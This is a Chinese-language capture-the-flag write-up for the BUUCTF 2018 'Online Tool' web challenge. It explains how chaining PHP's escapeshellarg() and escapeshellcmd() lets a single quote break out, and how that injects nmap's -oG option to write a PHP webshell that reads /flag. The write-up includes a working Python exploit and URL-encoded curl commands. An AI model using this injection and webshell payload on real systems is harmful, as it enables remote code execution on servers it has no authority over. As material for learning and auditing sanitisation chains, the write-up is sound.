BUUCTF 2018 - Web - Online Tool

结论先行:escapeshellarg() + escapeshellcmd() 组合可被绕过闭合单引号;用 nmap -oG 把含 <?php ...?> 的结果写进沙盒 a.php,访问木马读 /flag。

题目信息

项 内容
比赛 BUUCTF 2018
方向 Web
难度 中等
环境 授权靶场(已脱敏)

题目描述:一个在线 nmap 扫描工具,host 参数经 escapeshellarg() + escapeshellcmd() 过滤后执行 system("nmap ...")。

信息收集

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin" . $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox ' . $sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F " . $host);
}
?>

漏洞分析

escapeshellarg() 先给字符串加单引号并转义已有单引号,escapeshellcmd() 再转义特殊字符(含 \ 和不成对的 ')。

两者组合存在经典绕过漏洞(seebug:PHP escapeshellarg()+escapeshellcmd() 之殇):

  • 输入:172.17.0.2' -v -d a=1
  • escapeshellarg 后:'172.17.0.2'\'' -v -d a=1'
  • escapeshellcmd 后:'172.17.0.2'\\'' -v -d a=1\'
  • 中间的 \\ 被 shell 解释为 \ 不再起转义作用,导致后面的 ' 与再后面的 ' 配成空白连接符,从而闭合了单引号,让后面的内容能注入为 nmap 参数。

利用过程

利用 nmap 的 -oG 参数把扫描结果(含我们注入的 PHP 代码)写到文件,实现写一句话木马:

1
host=' <?php echo `cat /flag`;?> -oG a.php '

sandbox 目录 = md5("glzjin" . REMOTE_ADDR),访问 /沙盒/a.php 执行木马读 flag。

注意:REMOTE_ADDR 会被 X-Forwarded-For 覆盖,沙盒目录名可从页面输出的 you are in sandbox <md5> 中提取。

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
import urllib.request, urllib.parse

base = 'http://target:8080' # 授权靶场(已脱敏)
payload = "' <?php echo `cat /flag`;?> -oG a.php '"
url = base + '/?host=' + urllib.parse.quote(payload)
r = urllib.request.urlopen(url)
b = r.read().decode('utf-8', 'ignore')
i = b.find('sandbox ')
sandbox = b[i+8:i+40] # 提取 32 位 md5 目录名
r2 = urllib.request.urlopen(base + '/' + sandbox + '/a.php')
print(r2.read().decode('utf-8', 'ignore'))

等价 curl(写马 payload 需 URL 编码):

1
2
3
4
5
# 写木马
curl "http://target:8080/?host=%27%20%3C%3Fphp%20echo%20%60cat%20/flag%60%3B%3F%3E%20-oG%20a.php%20%27"

# 访问木马(<sandbox> 为页面回显的 32 位 md5)
curl "http://target:8080/<sandbox>/a.php"

Flag

1
flag{xxxx}

踩坑与总结

  1. escapeshellarg() + escapeshellcmd() 组合使用可被绕过(转义单引号 + 反斜杠的连锁反应)。
  2. nmap -oG(grepable output)可写文件,配合一句话木马实现 RCE。
  3. sandbox 目录名由 md5("glzjin" . REMOTE_ADDR) 决定,可从页面输出中提取。
  4. 两个「安全函数」叠加反而引入新缺陷,说明过滤链要整体审计,不能逐段认为安全。